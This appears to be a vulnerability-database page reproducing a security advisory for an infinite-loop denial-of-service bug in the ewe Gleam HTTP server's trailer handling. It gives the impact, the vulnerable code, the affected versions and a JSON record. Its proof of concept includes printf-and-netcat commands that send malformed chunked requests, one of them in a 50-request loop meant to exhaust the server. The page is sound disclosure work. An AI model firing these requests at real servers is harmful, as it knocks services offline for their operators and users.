GHSA-4W98-XF39-23GP

Vulnerability from github – Published: 2026-03-16 20:49 – Updated: 2026-03-18 21:42
VLAI?
Summary
Loop with Unreachable Exit Condition ('Infinite Loop') in ewe
Details

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "ewe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-825"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:49:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\newe\u0027s `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 \u2014 uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround \u2014 the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n\u0027 | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n\u0027 | nc -w 1 localhost 8080 \u0026\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493\u2013531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) \u0026\u0026 !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```",
  "id": "GHSA-4w98-xf39-23gp",
  "modified": "2026-03-18T21:42:30Z",
  "published": "2026-03-16T20:49:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vshakitskiy/ewe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027) in ewe"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…